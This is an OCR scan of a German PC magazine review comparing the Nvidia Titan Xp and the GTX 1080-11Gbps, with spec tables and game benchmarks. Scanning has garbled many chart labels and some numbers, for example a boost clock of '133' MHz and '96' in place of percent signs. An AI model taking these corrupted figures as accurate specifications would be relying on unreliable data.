vollständig aktiven СР102-Сһір 


in den Endkundenmarkt, wenn 
man von der Profi-Karte Quadro 
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P6000 absieht. Im Datenblatt der 
1.350-Euro-Grafikkarte, welche nur 
im NvidiaShop und in Komplett- 
Systemen erhältlich ist, finden sich 
3.840 Shader-ALUs und eine Rechen- 
leistung von 12 TFLOPs. Auch die 


Bilder auf Heft-DVD 


Speicherschnittstelle ist vollständig 
vorhanden und schneller denn je: 
Wie bei der Geforce GTX 1080 Ti lö- 
tet Nvidia den schnellsten GDDR5X- 
RAM auf die Platine, flankiert von 
einer Takterhöhung auf effektive 


а=. 
Auf дет Datentràger { @) 
der DVD-Heftversion Ce 
finden Sie exemplarisch 

den Detailvergleich der 

Asus GTX 1080 Strix mit ihrer 
11-Gbps-Nachfolgerin. Letztere ist 2,5 an- 
stelle von 2 Slots hoch und offenbart weitere 
Unterschiede. 


5.702 MHz. Das führt zu einer Spei- 
chertransferrate von rekordverdäch- 
tigen 548 Gigabyte/s. Die verfügbare 
Kapazität stagniert bei 12.288 MiBy- 
te, wie sie bereits die Geforce GTX 
Titan X (Maxwell) Anfang 2015 bot. 


Platine und Kühlung basieren auf 
der Geforce GTX 1080 Ti, welche ge- 
genüber der Titan X (Pascal) verbes- 
sert wurde. Nach wie vor setzt die 
Referenzkarte auf das DHE-Prinzip 
(Direct Heat Exhaust), bläst die er- 
wärmte Luft ergo aus dem Gehäuse. 
Während das Herzstück des Kühlers, 
die Vapor Chamber laut unserem 
Kenntnisstand unverändert ist, sor- 
gen andere Unterschiede für eine 
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Spezifikationsübersicht: High-End-Grafikkarten 


Modell Titan Xp Titan X Geforce GTX Geforce GTX Geforce GTX Geforce GTX Radeon R9 
(Pascal) 1080 Ti 1080-11Gbps 1080 1070 Fury X 
Codename GP102-450-A1 GP102-400-A1 GP102-350-K1-A1 GP104-410-A1 GP104-400-A1 GP104-300-A1 Fiji XT 
DX-12-Feature-Level PAi 12_1 12 1] 12 [| 12_1 IS 12_0 
Chipgröße (reiner Die) 471 mm? 471 mm? 471 mm? 314 mm? 314 mm? 314 mm? 596 mm? 
Transistoren Grafikchip (Mio.) 12.000 12.000 12.000 7.200 7.200 7.200 8.900 
Shader-/SIMD-/Textureinheiten 3.840/30/240 3.584/28/224 3.584/28/224 2.560/20/160 2.560/20/160 1.920/15/120 4.096/64/256 
Raster-Endstufen (ROPs) 96 96 88 64 64 64 64 
GPU-Basistakt (Megahertz) 1.405 1.417 1.480 1.607 1.607 1.506 unbekannt 
GPU-Boost-Takt (Megahertz) 1.582 1.531 1.582 133 233 1.683 1.050 
Rechenleistung SP/DP (Mio./s) 12.150/380 10.974/343 11.340/354 8.873/277 8.873/277 6.463/202 8.602/538 
Durchsatz Pixel/Texel (Mrd./s) 1516913797 147,0/342,9 151,7/354,1 110,9/277,3 110,9/277,3 101,0/202,0 67,2/268,8 
Speicheranbindung (Bit) 384 384 352 256 256 256 4.096 
Geschw. Grafikspeicher (GTs/MHz) 11,4 (5.702) 10,0 (5.006) 11,0 (5.508) 11,0 (5.508) 10,0 (5.006) 8,0 (4.007) 1,0 (500) 
Speichertyp GDDR5X GDDR5X GDDR5X GDDR5X GDDR5X GDDR5 HBM (gen1) 
Speichertransferrate (GB/s) 547,6 480,6 484,1 3525 320,4 256,4 512 
Speichermenge (MiByte) 12.288 12.288 11.264 8.192 8.192 8.192 4.096 
Typische Leistungsaufnahme < 250 Watt < 250 Watt < 250 Watt kein Ref.-Design < 180 Watt < 150 Watt 275 Watt 
Angaben auf Basis des typischen Boost-Taktes berechnet. Die Titan Xp überbietet die GTX 1080 Ti um 7 Prozent Rechenleistung sowie 14 Prozent Speichertransferrate. 
änderte Kühl f - | 
Mou е s 6 men Fa TechPowerUp GPU-Z 1.20.0 — x ra 
genau wie bei der Geforce GTX 1080 
Ti. Dazu zählt der Verzicht auf einen Graphics Card Sensors Validation вз = | Graphics Card Sensors Validation a = 
DVI-Ausgang, er macht Platz für wei- Name NVIDIA TITAN Xp Lookup GPU Core Clock v | 1390MHz 
tere Tüttungssehlitze, sodass der Ra- een GET eres Ce GPU Memory Clock = TOT3MIE 
diallüfter bei gleicher Drehzahlmehr 8 E: m RITE 
Luft aus dem Kühler pressen kann EE om 52 inm GPU Temperature v зо | 
und es weniger Verwirbelungen Release Apr6,2017 Transistors | 12000M nVIDIA Fan Speed (%) = 23% | 
gibt. Freunde des kühlen Nass wird BIOS Version 86.02.3D.00.01 [% Muer] Fan Speed (RPM) v 0RPM | 
freuen, dass die GTX 1080 Ti dank Subvendor NVIDIA Device ID | 10DE 1B02 - 10DE 11DF 
di Änd d h Mont: Memory Used M 320 MB | 
ieser erung und nach Montage ROPS/TMUs | 96/240 Bus Interface | PClexi630 Qx1611 ? | 
eines entsprechenden Wasserküh- н GPU Load bá 0% 
: . Shaders 3840 Unified DirectX Support 12(12 1) 
lers zu einer Single-Slot-Grafikkarte : I Memory Controller Load e 7% 
wird - Nutzer eines DVI-Bildschirms Pixel Fillrate | 134.9 GPixells Texture Fillrate 3372 GTexel/s 
= 2 = Video Engine Load Ж 0% 
sollten sich jedoch langsam nach ei- Memory Type | GDDRSX (Micron) Bus Width 384 Bit 
nem Ersatz umsehen. Memory Size | 12288 МВ Bandwidth | 547.6 GB/s EE М 0% 
I Driver Version | — 2221.13.8219 (ForceWare 382.19) Beta / Win10 64 Power Consumption Y | 47%TDP 
Bei der Platine sid D GPU Clock 1405 MHz Memory 1426 MHz Boost 1582 MHz PerfCap Reason X Util 
gen gravierender: Trägt die Titan X 
(Pascal) noch sechs Wandlerphasen DefaultClock | 1405 MHz Memory | 1426 MHz Boost 1582 MHz VDDC 0.6500 V | 
für die GPU, kónnen sowohl die Ti- NVIDIA SLI Salz | 
tan Xp als auch die GTX 1080 Ti auf Computing [VlOpencı [vIcuDA [⁄|PhysX [v]DirectCompute 5.0 Z] Log to file | 
sieben Phasen und somit eine Vollbe- NVIDIA TITAN Xp = NVIDIA TITAN Xp = та 


stückung der Platine zurückgreifen. 
Auch am Layout der Wandlerzüge 
wurde gefeilt, um Last und somit Hit- 
zeentwicklung besser zu verteilen: 
Jede Phase verfügt über die doppelte 
Menge an MOSFETS, pro Phase sind 
deren zwei vorhanden (Titan X und 
GTX 1080 FE: je eine). Durch diese 
Arbeitsteilung arbeiten die hitzkóp- 
figen Bauteile unter Last wesentlich 
kühler; aufserdem ist die Platine bes- 
tens für Overclocking gerüstet. 


Erneut wird all das in ein 250-Watt- 
Korsett gepresst, zusammen mit der 
Option, mithilfe von Tools auf bis 
zu 300 Watt Maximalverbrauch zu 
gehen (+20 %). Mit dieser Konfek- 
tion bleibt die GP102-Grafikkarte 
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Die Titan Xp innerhalb unseres wassergekühlten Mifcom-PCs: GPU-Z offenbart den GP102-Vollausbau sowie sehr schnellen 
GDDR5X-Speicher. Letzterer lásst sich (bei uns) auf bis zu 6.300 MHz übertakten und liefert dann über 600 GByte/s Transferrate. 


weit hinter ihren Möglichkeiten. 
Bereits die Titan X und GTX 1080 Ti 
Founder's Edition, welche weniger 
Rechenwerke zu unterhalten haben, 
reizen bei guter Kühlung ihr Ener- 
gie-Budget vollstándig aus und müs- 
sen ihren Boost zügeln, um inner- 
halb der Grenzen zu bleiben. Kommt 
der Standardkühler zum Einsatz, ist 
hingegen das Temperaturlimit maß- 
geblich, was wiederum zu einer 
deutlichen Taktdrosselung und zu 
einer realen Leistungsaufnahme von 
rund 230 Watt führt. Wir gehen da- 


von aus, dass die Titan Xp unter Voll- 
last die gleichen Temperatur- und 
Verbrauchswerte wie die GTX 1080 
Ti FE erreicht, dabei jedoch dank der 
zusátzlichen Einheiten einige Pro- 
zent schneller rechnet - Letzteres 
klären wir sogleich. 


Titan XPC 

Da Nvidia keine Muster der Titan Xp 
bereitstellt, die Enthusiasten-Gra- 
fikkarte jedoch von ausgewählten 
PC-Schmieden 
darf, haben wir einen solchen Com- 


installiert werden 


puter ins Testlabor zitiert. Die Mif- 
com Blackbox Titan Xp, welche im 
Aufmacherbild posiert, beinhaltet 
gleich zwei Titan Xp im SLI, ist kom- 
plett wassergekühlt und kostet nor- 
malsterbliche Arbeitnehmer gleich 
mehrere Monatsgehälter. Den kom- 
pletten Test des PCs finden Sie unter 
www.pcgh.de/titanxpc; 
Stelle geht es um die Leistung einer 
Titan Xp mit und ohne SLI. 


an dieser 


Wie bei PCGH-Referenztests seit 
Jahren üblich, absolvieren die Gra- 
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fikkarten alle Messungen mit festge- 
setzten Taktraten, um einen festen 
Orientierungspunkt der Leistung 
zu erhalten. Die Titan Xp verfügt 
über einen Basistakt von 1.405 MHz 
und einen - laut Nvidia - typischen 
Boost auf 1.582 MHz über eine brei- 
te Aufstellung an Applikationen und 
Grafikkarten. Diese Angabe verrech- 
net die Faktoren Serienstreuung 
alias Glück (elektrische Güte der 
individuellen Grafikkarte), die spe- 
zifischen Anforderungen diverser 


Anwendungen sowie Kühlung und 
Umgebungstemperatur. Es handelt 
sich ergo um einen Mittelwert, wie 
auch der PCGH-Leistungsindex ei- 
ner ist, und hilft dabei, die durch- 
schnittlich zu erwartende Leistung 
zu skizzieren. 


GTX 1080-11Gbps 

Die GTX 1080 mit 11-Gbps-Spei- 
cher schlägt in eine andere Kerbe 
als die Titan Xp. Weder existiert 
ein Referenzdesign, noch erhält 


dieses Modell einen eigenen Na- 
men im Treiber, was die Übersicht 
in Preissuchmaschinen verwäs- 
sert. Interessenten einer Geforce 
GTX 1080-11Gbps - so wollen wir 
die neue Karte behelfsmäßig nen- 
nen - müssen daher gezielt nach 
dem Speicher filtern: Die Angaben 
5.508 MHz, 11 Gigabit pro Sekunde 
(Gbps), 11 Gigatransfers (11 GT/s) 
und die Marketing-Erfindung „11 
GHz“ künden vom neuen Speicher- 
typ. Ältere GTX-1080-Karten tragen 


ebenfalls GDDR5X, allerdings mit 
einer Datenrate von 10 Gbps (ef- 
fektiv 5.006 MHz). Eine wichtige 
Information, die Sie als technikaffi- 
ner Leser für ihre fragenden Freun- 
de und Bekannten parat haben soll- 
ten: „GTX 1080-11 Gbps“ bedeutet 
keinesfalls, dass diese Grafikkarten 
über 11 GiByte Speicher verfügen. 
Eine GTX 1080 verfügt immer über 
8 GiByte GDDR5X. Nur die GTX 
1080 Ti bietet eine Kapazität von 11 
GiByte - verwirrenderweise eben- 


Spezialbenchmarks in Ultra HD: Populäre Spiele mit maximalen Details 


Doom (Vulkan), Nightmare (forciert), TSSAA 8TX/16:1 AF – „Devil's Dance" 


Titan Xp @ -2.000/6.000 MHz Egg 102,2 (+60 96) 
GTX 1080 Ti @ -2.000/6.000 MHz Egi pw 98,3 (+54 96) 
Titan Xp/12G ws NW 84,8 (+33 %) 
SLI: 2 x Titan Xp/12G 82,1 (+28 %) 
Geforce GTX 1080 Ti/11G ВЕС 80,8 (+26 %) 
Titan X (Pascal)/12G СБ 79,0 (+24 96) 
GTX 1080 @ -2.100/6.000 MHz N ШЕШ 74,8 (+17 %) 
GTX 1080/8G-11Gbps ES ИШЕ 64,6 (+1 96) 
Geforce GTX 1080/8G ВЕС ШЕШ 63,9 (Basis) 
GTX 980 Ti @ 1.500/4.000 MHz [Egi 61,2 (4 %) 
Radeon R9 Fury X/4G Eas 51,6 (-19 %) 
RX 580/8G @ 1.500/4.500 MHz Eat 49,6 (-22 96) 
Geforce GTX 1070/8G | 888 48,8 (-24 96) 
Geforce GTX 980 Ti/6G EX 45,1 (-29 %) 
Radeon RX 580/8G Ee 44,7 (-30 %) 


The Witcher 3, inkl. Hairworks (8x MS)/HBAO+, Ingame-AA/16:1 AF – „Skellige Forest" 


SLI: 2 x Titan Xp/12G ВЕНЕВ 65,5 (+125 96) 
Titan Xp @ -2.000/6.000 MHz gant 44,2 (+52 %) 
GTX 1080 Ti @ -2.000/6.000 MHz EIN 43,0 (+48 96) 
Titan Xp/12G WaWWISSRREBGII 38,5 (+32 %) 
Ge force GTX 1080 Ti/11G E34 36,3 (+25 %) 
Titan X (Pascal)/12G. Esa 36,1 (+24 %) 
GTX 1080 @ -2.100/6.000 MHz EST 34,5 (+19 %) 
GTX 1080/8G-11Gbps WSICGIISIIID,III (+3 96) 
Geforce GTX 1080/86 SEBIIƏUHGGI<II$dƏƏOMIÉ (Basis) 
GTX 980 Ti @ 1.500/4.000 MHz [E361] 28,1 (-3 96) 
Geforce GTX 1070/8G. Eti 22,7 (-22 96) 
Geforce GTX 980 Ti/6G ВЕ 20 21,2 (-27 96) 
Radeon R9 Fury X/4G Ш 1911 20,6 (-29 96) 
АХ 580/86 © 1.500/4.500 MHz В 61! 17,3 (-41 96) 
Radeon RX 580/8G В 5) 15,6 (-46 96) 


Mass Effect Andromeda, max. Details (FB: 64 Bit), TAA/16:1 AF - ,,Forlorn Dreams" 


SLI: 2 x Titan Xp/12G EEE 59,5 (+122 90) 
Titan Xp @ -2.000/6.000 MHz EIN 43,2 (+61 96) 
GTX 1080 Ti © -2.000/6.000 MHz Xa 42,0 (+57 96) 
Titan Xp/12G aaa asal 37,7 (+41 96) 
Geforce GTX 1080 Ti/11G. Es 35,1 (+31 %) 
Titan X (Pascal)/12G. Xam] 34,4 (+28 96) 
GTX 1080 @ -2.100/6.000 MHz [gl p 31,9 (+19 96) 
GTX 1080/8G-11Gbps IWSSEEBSIII 27,7 (+3 %) 
Geforce GTX 1080/86 MEZA] 26,8 (Basis) 
GTX 980 Ti @ 1.500/4.000 MHz MEA 26,6 (-1 96) 
Geforce GTX 1070/86 [91911 20,8 (-22 96) 
Geforce GTX 980 Ti/6G METSI] 19,9 (-26 96) 
Radeon R9 Fury X/4G [91811 17,6 (-34 96) 
АХ 580/86 © 1.500/4.500 MHz В 1] 15,7 (-41 96) 
Radeon RX 580/86 Ш 31| 14,4 (-46 %) 


Ghost Recon Wildlands, max. Details, SMAA/16:1 AF – „Wild Ride" 


SLI: 2 x Titan Xp/12G [gi 8 53,4 (4-93 96) 
Titan Xp @ -2.000/6.000 MHz [Xi 41,6 (+50 90) 
GTX 1080 Ti @ -2.000/6.000 MHz ЕЗ6 8 40,3 (+45 96) 
Titan Xp/12G ER 35,2 (+27 96) 
Geforce GTX 1080 Ti/11G ME 33,7 (+22 %) 
Titan X (Pascal)/12G. Lg 33,3 (+20 96) 
GTX 1080 @ -2.100/6.000 MHz ЗОИ 32,9 (+19 96) 
GTX 1080/8G-11Gbps aen 28,4 (+3 %) 
Geforce GTX 1080/8G MEZAN 27,7 (Basis) 
GTX 980 Ti @ 1.500/4.000 MHz ВЕ 233] 25,3 (-9 96) 
Geforce GTX 1070/8G. Ent 22,8 (-18 96) 
Geforce GTX 980 Ti/6G MEM] 19,5 (-30 96) 
RX 580/86 @ 1.500/4.500 MHz EI 18,0 (-35 96) 
Radeon RX 580/8G Hill 16,3 (-41 96) 
Radeon R9 Fury X/4G В| 16,1 (-42 96) 


СТА 5, max. Det. (Gras , Ultra", Schatten „Am weichsten"), 4x MS/16:1 AF - „Grapeseed” 
SLI: 2 x Titan Xp/12G. Eg 42,8 (+103 96) 
Titan Xp @ -2.000/6.000 MHz [391i 30,9 (+46 96) 
GTX 1080 Ti @ -2.000/6.000 MHz E381! 30,0 (+42 96) 
Titan Xp/12G äer 26,6 (+26 %) 
Geforce GTX 1080 Ti/11G. E24 25,6 (+21 96) 
Titan X (Pascal)/12G E3311 25,3 (+20 96) 
GTX 1080 @ -2.100/6.000 MHz [331] 24,5 (+16 96) 
GTX 1080/8G-11Gbps ВЕ 201 21,6 (+2 96) 
Geforce GTX 1080/8G Б ШШШ 21,1 (Basis) 
GTX 980 Ti @ 1.500/4.000 MHz ВЕ 9] 20,1 (-5 96) 
Geforce GTX 1070/8G E9161] 17,4 (-18 %) 
Geforce GTX 980 Ti/oG HAI 15,5 (-27 96) 
RX 580/8G @ 1.500/4.500 MHz Efi 12,8 (-39 96) 
Radeon R9 Fury X/4G "ër 12,6 (-40 96) 
Radeon RX 580/8G E0] 11,8 (-44 96) 


Sie sehen hier Benchmarks mit erhóhtem Schwierigkeitsgrad, welche die 
Standard-Tests des PCGH-Leistungsindex ergánzen. Neben der Ultra-HD-Aufló- 
sung, welche grundsátzlich eine sehr hohe GPU-Last erzeugt, testen wir einige 
GPU-Parcours-Spiele mit maximalen anstelle von , vernünftigen" Grafikdetails. 
Dazu zählen die Nightmare-Optionen innerhalb von Doom, welche sich via 
Commandline auch auf Grafikkarten mit weniger als 6 GiByte Speicher forcieren 
lassen, maximale Gameworks-Effekte in The Witcher 3 sowie die Gras-Detailstufe 
, Ultra" in GTA 5. Daneben servieren wir die neuen Spiele Mass Effect Androme- 
da und Ghost Recon Wildlands, ebenfalls mit maximierten Einstellungen. 


Erwartungsgemáf platziert sich die Titan Xp knapp vor der GTX 1080 Ti und Titan 
X (Pascal). Werden die Modelle auf die gleichen Frequenzen übertaktet, ändert 
sich am Machtverháltnis nichts. Im SLI-Betrieb steigert eine zweite Titan Xp die 
Bildrate um 52 (GR Wildlands) bis 70 Prozent (Witcher 3). 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, Geforce 382.05 WHQL, Radeon Software 17.4.4 Non-WHQL, HQ-AF 
Bemerkungen: In Doom funktioniert SLI nicht korrekt, daher ist eine einzelne Titan Xp schneller als deren zwei. Pro Takt kann sich eine Titan Xp nur um wenige Prozente von einer GTX 1080 Ti distanzieren. 
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Titan Xp und GTX 1080-11Gbps: Spieleleistung in 2.560 x 1.440 Pixel (WQHD) 


Doom (Vulkan), TSSAA 8ТХ/16:1 AF - „Devil's Dance" 


Nvidia Titan Xp/12G art 175,7 (+29 %) 
Nvidia Geforce GTX 1080 Ti/11G Be 171,2 (+26 %) 
Nvidia Titan X (Pascal)/12G 68 168,5 («24 96) 
Nvidia Geforce GTX 1080-11Gbps/8G ESSERE 138,6 (+2 96) 
Nvidia Geforce GTX 1080/8G [9 [x 136,3 (Basis) 
AMD Radeon R9 Fury X/4G gg 115,0 (-16 96) 
Nvidia Geforce GTX 1070/8G. gs ШЕШШ 106,2 (-22 9) 
AMD Radeon АХ 580/8G |a 96,5 (-29 96) 
Nvidia Geforce GTX 980 Ti/6G xg 94,9 (-30 96) 
AMD Radeon R9 390/8G. ea ШЕШ 82,1 (-40 96) 
Nvidia Geforce GTX 970/3,5--0,5G. 851 65,5 (-52 96) 


F1 2016, TAA/16:1 AF - „Catalunya” 


Nvidia Titan Xp/12G get 97,4 (+19 96) 
Nvidia Geforce GTX 1080 Ti/11G. [gari 94,8 (+16 96) 
Nvidia Titan X (Pascal)/12G jg 94,4 (+16 96) 
Nvidia Geforce GTX 1080-11Gbps/8G EI 82,7 (+1 96) 
Nvidia Geforce GTX 1080/8G. |t 81,7 (Basis) 
Nvidia Geforce GTX 1070/8G 84 66, 1 (-19 96) 
Nvidia Geforce GTX 980 Ti/oG. 601 61,5 (-25 96) 
AMD Radeon R9 Fury X/4G ssi 59,7 (-27 %) 
AMD Radeon RX 580/8G. MESA] 54,6 (-33 96) 
AMD Radeon R9 390/8G [WM 45,7 (-44 96) 
Nvidia Geforce GTX 970/3,5--0,5G. 8 45,0 (-45 96) 
The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks – „Boat Trip" 
Nvidia Titan Xp/12G EB 97,0 (+28 %) 
Nvidia Geforce GTX 1080 Ti/11G part 93,2 (+23 96) 
Nvidia Titan X (Pascal)/12G Xt 91,8 (+22 %) 
Nvidia Geforce GTX 1080-11Gbps/8G EAN 78,1 (+3 %) 
Nvidia Geforce GTX 1080/86 EEE 75,5 (Basis) 
Nvidia Geforce GTX 1070/8G. M56] 58,7 (-22 96) 
Nvidia Geforce GTX 980 Ti/6G 821] 54,4 (-28 %) 
AMD Radeon R9 Fury X/AG. 81 53,9 (-29 96) 
AMD Radeon RX 580/86 |ui] 43,1 (-43 96) 
Nvidia Geforce GTX 970/3,5--0,5G. ВШ ЗУ 36,8 (-51 96) 
AMD Radeon R9 390/86 5311] 33,2 (-56 96) 


Deus Ex: Mankind Divided (DX11), TAA/16:1 AF - , Prague" 


Nvidia Titan Xp/12G Feb 88,0 (+30 96) 
Nvidia Geforce GTX 1080 Ti/11G ME 83,8 (+24 96) 
Nvidia Titan X (Pascal)/12G EEE 83,1 (+23 96) 
Nvidia Geforce GTX 1080-11Gbps/8G ШЕЯ 70,1 (+3 96) 
Nvidia Geforce GTX 1080/8G eat 67,8 (Basis) 
Nvidia Geforce GTX 1070/86 MAS] 53,4 (-21 96) 
AMD Radeon R9 Fury X/4G asit 49,7 (-27 96) 
Nvidia Geforce GTX 980 Ti/6G 4215 47,9 (-29 %) 
AMD Radeon RX 580/86 MEESI 41,8 (-38 96) 
AMD Radeon R9 390/8G [53811 39,8 (-41 96) 
Nvidia Geforce GTX 970/3,5+0,56 2811 32,0 (-53 96) 
Far Cry: Primal, TAA/16:1 Treiber-AF - , Sunrise" 
Nvidia Titan Xp/12G g  iwiA a k aspi RI 84,8 (+29 96) 
Nvidia Geforce GTX 1080 Ti/11G eg 81,1 (+23 %) 
Nvidia Titan X (Pascal)/12G ВСВ 79,6 (+21 96) 
Nvidia Geforce GTX 1080-11Gbps/8G ESSEN 67,6 (+3 %) 
Nvidia Geforce GTX 1080/86 ШОД 65,8 (Basis) 
Nvidia Geforce GTX 1070/8G SSREIIgKIIUVxOWNII3III>II,I (-22 96) 
AMD Radeon R9 Fury X/4G 4 47,4 (-28 96) 
Nvidia Geforce GTX 980 Ti/6G 491 47,0 (-29 96) 
AMD Radeon RX 580/8G. ШЗ 37,0 (-44 96) 
AMD Radeon R9 390/8G Ш 08 36,5 (-45 96) 
Nvidia Geforce GTX 970/3,5+0,56 В 298 31,3 (-52 96) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF – „Rooftops” 
Nvidia Titan Xp/12G EEE 84,5 (+25 96) 
Nvidia Geforce GTX 1080 Ti/11G ШСД 81,2 (+20 96) 
Nvidia Titan X (Pascal)/12G Xem Ex 81,0 (+20 96) 
Nvidia Geforce GTX 1080-11Gbps/8G Fee 68,0 (+0 96) 
Nvidia Geforce GTX 1080/8G Lg 88 67,7 (Basis) 
Nvidia Geforce GTX 1070/8G Mm 53,1 (-22 96) 
Nvidia Geforce GTX 980 Ti/6G. ШО 48,1 (-29 96) 
AMD Radeon RX 580/8G. [26113 37,2 (-45 96) 
AMD Radeon R9 390/86 Ш 32,4 (-52 96) 
AMD Radeon R9 Fury X/4G XE 23,8 (-65 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ш 23,0 (-66 96) 
Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF — „бео Valley" 
Nvidia Titan Xp/12G aa wap |apj—ŠŠ8pr j jÓBa G |Ü2F2r?n0? 80,7 (+38 96) 
Nvidia Geforce GTX 1080 Ti/11G. EEE 74,1 (+27 %) 
Nvidia Titan X (Pascal)/12G Ee 72,6 (+24 96) 
Nvidia Geforce GTX 1080-11Gbps/8G EEE 60,6 (+4 96) 
Nvidia Geforce GTX 1080/8G 8011 58,5 (Basis) 
Nvidia Geforce GTX 1070/86 MJ 45,3 (-23 96) 
Nvidia Geforce GTX 980 Ti/6G 38H 44,2 (-24 96) 
AMD Radeon R9 Fury X/4G Ш 018 37,3 (-36 96) 
AMD Radeon RX 580/8G. ERE 32,5 (-44 96) 
AMD Radeon R9 390/8G [2611 29,7 (-49 96) 
Nvidia Geforce GTX 970/3,5+0,5G 811 21,6 (-63 96) 
Assassin's C. Syndicate, 4x MSAA+FXAA/16:1 Treiber-AF - „Bishopsgate” 
Nvidia Titan Xp/12G SERI I UGIIIO@DZHIÍI 66,6 (+24 96) 
Nvidia Geforce GTX 1080 Ti/11G MEMES] 64,5 (+20 %) 
Nvidia Titan X (Pascal)/12G Loggt 63,3 (+18 %) 
Nvidia Geforce GTX 1080-11Gbps/8G PER 54,6 (+2 96) 
Nvidia Geforce GTX 1080/86 [X8 n 53,7 (Basis) 
Nvidia Geforce GTX 1070/8G 491? 43,9 (-18 96) 
Nvidia Geforce GTX 980 Ti/6G 538] 38,5 (-28 96) 
AMD Radeon R9 Fury X/4G [9 29,5 (-45 96) 
AMD Radeon RX 580/8G В 2911 28,1 (-48 96) 
Nvidia Geforce GTX 970/3,5--0,5G 1:231] 25,8 (-52 96) 
AMD Radeon R9 390/8G HERZ 25,0 (-53 96) 
СТА 5 (DX11), Gras „sehr hoch", 4x MSAA/16:1 AF - „Grapeseed” 
Nvidia Titan Xp/12G ESS 57,2 (+23 96) 
Nvidia Geforce GTX 1080 Ti/11G [X521] 55,8 (+20 96) 
Nvidia Titan X (Pascal)/12G 831] 55,5 (+19 96) 
Nvidia Geforce GTX 1080-11Gbps/8G ШШШ 48,0 (+3 96) 
Nvidia Geforce GTX 1080/8G ШШШ 46,5 (Basis) 
Nvidia Geforce GTX 1070/86 351] 38,0 (-18 96) 
Nvidia Geforce GTX 980 Ti/6G MEEST] 33,7 (-28 96) 
AMD Radeon А9 Fury X/4G В 29] 31,4 (-32 96) 
AMD Radeon R9 390/8G [9311 25,7 (-45 96) 
AMD Radeon RX 580/8G В 2311 25,7 (-45 96) 
Nvidia Geforce GTX 970/3,5+0,5G В 98| 24,1 (-48 96) 
Ashes of the Singularity (DX12), 4x MSAA/16:1 AF - , Scavenger" 
Nvidia Titan Xp/12G В 43,4 (+23 96) 
Nvidia Geforce GTX 1080 Ti/11G MEZAN 42,2 (4-20 96) 
Nvidia Titan X (Pascal)/12G ЖЕБЕ 41,3 (+17 96) 
Nvidia Geforce GTX 1080-11Gbps/8G ЗЕЙ 35,8 (+1 96) 
Nvidia Geforce GTX 1080/8G В 23188 35,3 (Basis) 
Nvidia Geforce GTX 1070/8G ВЗ 28,6 (-19 96) 
AMD Radeon R9 Fury X/4G BI 27,5 (-22 96) 
Nvidia Geforce GTX 980 Ti/6G MaM 24,2 (-31 96) 
AMD Radeon RX 580/8G Ш 22,7 (-36 96) 
AMD Radeon R9 390/8G MSN 21,7 (-39 96) 
Nvidia Geforce GTX 970/3,5+0,5G MAH 18,1 (-49 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, Geforce 382.05 WHQL, Radeon Software 17.4.4 Non-WHQL, HQ-AF 
Bemerkungen: In Full HD stoßen alle GP102-Karten teilweise an das CPU-Limit unseres Testsystems, daher haben wir die Benchmarks der aufstrebenden WQHD-Auflósung abgedruckt. 
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Asus GTX 1080 Strix O8G-11Gbps: Der Kühler ist gegenüber der , alten" Strix auf 2,5 
Slots angewachsen, womit die Karte leise arbeitet. Das Powerlimit betrágt 198 Watt 
mit Option auf bis zu 238 Watt, der Boost unseres Samples mindestens 1.835 MHz. 


Zotac GTX 1080 AMP! Extreme+: Sie basiert auf der schnellsten GTX 1080, der AMP 
Extreme, und entwickelt sie mithilfe des erhöhten Speichertakts weiter. Gleichgeblie- 
ben ist das hohe Powerlimit von 270 Watt. Mindestboost im PCGH-Lab: 2.012 MHz. 


falls mit 11 Gbps Datenrate. Daher 
gilt vor allem bei vermeintlichen 
Schnäppchen: Augen auf beim Gra- 
fikkartenkauf! 


Da Nvidia Design und Vermark- 
tung seinen Boardpartnern über- 
lässt, herrscht kein einheitliches 
Namensschema. Viele Hersteller 
kennzeichnen die neuen Karten 
mit einem „+“ oder schreiben den 
RAM-Typ explizit dahinter. All das 
verkompliziert ^ Direktvergleiche 
zwischen der alten" und der neu- 
en GTX 1080, da jeder Hersteller 
unterschiedliche GPU-Frequenzen 
ins BIOS bannt und Kühlung sowie 
die Qualität des installierten Grafik- 
chips den Boost beeinflussen. Wir 
haben uns daher entschieden, zwei 
Messreihen durchzuführen. In der 
ersten tun wir so, als gäbe es eine 
Founders Edition der GTX 1080- 
11Gbps, welche mit dem gleichen 
typischen Boost arbeitet wie die 
ordinäre GTX 1080: 1.733 MHz. So- 
mit fügt sich die GTX 1080-11 Gbps 
in das Schema des PCGH-Leistungs- 
index ein, in dem Referenzkarten 
verglichen und die Auswirkungen 
des Speicherdurchsatzes 1:1 sicht- 
bar werden. Der resultierende Leis- 
tungsindex ist aussagekräftig, aber 
nicht direkt in Form einer Grafik- 
karte erhältlich. 


In der zweiten Messreihe lassen wir 
die anwesenden Custom-Designs 
frei boosten, selbstverständlich mit 
einer adäquaten Aufheizperiode 
vor den Benchmarks. Sie finden 
diese Messwerte direkt unter die- 
ser Zeile. 


Leistungsschau 

Der Speicherdurchsatz einer Ge- 
force GTX 1080-11Gbps fällt gegen- 
über der GTX 1080 um exakt zehn 
Prozent höher aus, folglich kann 
die Spieleleistung um höchstens 
diesen Wert steigen. In der Spiele- 
praxis limitiert die RAM-Transferra- 
te jedoch nie so stark; die GPU-Leis- 
tung bestimmt die Bildrate, sodass 
unser Fazit nicht überrascht: Ab- 
hängig vom Spiel und den verwen- 
deten Einstellungen profitiert die 
GTX 1080 zwar von einer erhöhten 
Speichertransferrate, die Steige- 
rung von höchstens vier Prozent 
ist jedoch keineswegs fühlbar. Im 
gewichteten Mittel aller 20 Tests 
kann sich die GTX 1080-11Gbps 
um lediglich 2,3 Prozent von der 
GTX 1080 distanzieren. Die knapp 
größte Differenz ergibt sich bei der 
Ultra-HD-Auflösung, wo kein CPU- 
Limit hineinspielt (+2,9 Prozent). 


Die Titan Xp kann sich etwas stär- 
ker von ihren GP102-Verwand- 
ten absetzen, da sie neben dem 
Transfer-Plus auch eine höhere 
Rechenleistung in die Waagscha- 
le legt. Im Gesamtindex stellt 
sie erwartungsgemäß die neue 
100-Prozent-Messlatte, an der sich 
alle anderen Modelle orientieren. 
Aus diesem Grund ändern sich mit 
dieser Ausgabe die Indizes aller 
